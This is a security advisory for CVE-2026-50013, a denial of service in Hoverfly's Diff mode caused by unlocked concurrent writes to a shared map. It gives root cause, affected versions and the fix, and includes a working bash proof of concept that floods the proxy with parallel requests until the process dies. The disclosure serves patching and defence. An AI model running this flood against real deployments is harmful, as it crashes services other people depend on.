high · 7.5CVE-2026-50013Jul 14, 2026

CVE-2026-50013: Hoverfly Concurrent Map Write DoS in Diff Mode

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Hoverfly's Diff mode crashes the entire proxy process when multiple requests arrive at the same time, because it writes to a shared map without any locking.

Packagegithub.com/SpectoLabs/hoverfly
Ecosystemgo
Affected<= 1.12.7
Fixed in1.12.8

The problem

In Diff mode, every proxy request goroutine calls `AddDiff()` in `core/hoverfly_service.go` to record a comparison result. That function reads and writes the `responsesDiff` map without holding any mutex.

Go's runtime has a built-in concurrent-map detector. When two goroutines touch the same map simultaneously and at least one is writing, the runtime fires `fatal error: concurrent map read and map write`. This is unrecoverable; `recover()` cannot catch it. The whole Hoverfly process dies immediately, giving an attacker a trivial, no-auth-required denial of service.

Proof of concept

A working proof-of-concept for CVE-2026-50013 in github.com/SpectoLabs/hoverfly, with the exact payload below.

bash
# Step 1: start Hoverfly and switch it to diff mode
./hoverfly &
sleep 2

curl -s -X PUT http://localhost:8888/api/v2/hoverfly/mode \
  -H 'Content-Type: application/json' \
  -d '{"mode": "diff"}'

# Load a catch-all simulation so diff comparisons actually run
curl -s -X PUT http://localhost:8888/api/v2/simulation \
  -H 'Content-Type: application/json' \
  -d '{
    "data": {
      "pairs": [{
        "request": {"path": [{"matcher": "glob", "value": "*"}]},
        "response": {"status": 200, "body": "expected"}
      }],
      "globalActions": {"delays": [], "delaysLogNormal": []}
    },
    "meta": {"schemaVersion": "v5.2"}
  }'

# Step 2: flood the proxy port with concurrent requests
# ~50 parallel requests are enough to trigger the race
for i in $(seq 1 50); do
  curl -s -x http://localhost:8500 "http://httpbin.org/get?id=$i" &
done
wait

# Step 3: confirm the process is dead
pgrep -f hoverfly || echo 'CRASHED: hoverfly is no longer running'

The root cause is CWE-362 / CWE-820: `responsesDiff` is declared as a plain `map[v2.SimpleRequestDefinitionView][]v2.DiffReport` on the `Hoverfly` struct with no associated lock, while Go's `net/http` server dispatches each request in its own goroutine.

PR #1227 (v1.12.8) adds a `sync.RWMutex` (a `diffMu` field) to the struct and wraps every read and write of `responsesDiff` with `diffMu.Lock()` / `diffMu.Unlock()` calls. This is the same pattern already used by `hf.state`, which correctly guards its map with a `sync.RWMutex`.

Without the lock, concurrent calls to `AddDiff()` collide on the map and trigger the unrecoverable Go runtime fatal error.

The fix

Upgrade to Hoverfly v1.12.8 or later. The fix in PR #1227 introduces a dedicated `sync.RWMutex` that serializes all reads and writes to `responsesDiff`. No configuration change is needed after upgrading.

Reporter not attributed.

References: [1][2][3][4]

Related research